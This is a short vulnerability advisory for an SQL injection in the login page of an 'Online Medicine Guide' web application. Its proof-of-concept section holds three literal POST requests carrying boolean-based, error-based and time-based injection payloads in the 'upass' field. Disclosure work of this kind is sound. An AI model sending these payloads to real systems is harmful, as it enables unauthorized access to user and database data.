CVE-2025-60736: SQL Injection Vulnerability in Online Medicine Guide
Executive Summary
This document outlines a critical SQL injection vulnerability discovered in the Online Medicine Guide web application. The vulnerability allows unauthorized database access and poses significant security risks to the application and its users.
The vulnerability stems from insufficient input validation and sanitization in the /login.php file. The application directly concatenates user input from the upass parameter into SQL queries without proper sanitization or prepared statements.
Technical Root Cause:
Direct string concatenation in SQL queries
Lack of input validation and sanitization
Missing prepared statements implementation
Insufficient parameter binding
3. Proof of Concept
Vulnerability Location
File: /login.php
Parameter: upass (POST)
Attack Vector: HTTP POST request manipulation
Exploitation Methods
Method 1: Boolean-Based SQL Injection
root@kitploit:~
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' OR NOT 1852=1852-- iPRx
Method 1: Error-Based SQL Injection
root@kitploit:~
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND EXTRACTVALUE(4672,CONCAT(0x5c,0x7176707071,(SELECT (ELT(4672=4672,1))),0x71717a7071))-- knKp
Method 2: Time-Based Blind SQL Injection
root@kitploit:~
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
uname=uLnf&upass=rZgo' AND (SELECT 2089 FROM (SELECT(SLEEP(5)))zUlY)-- mWfa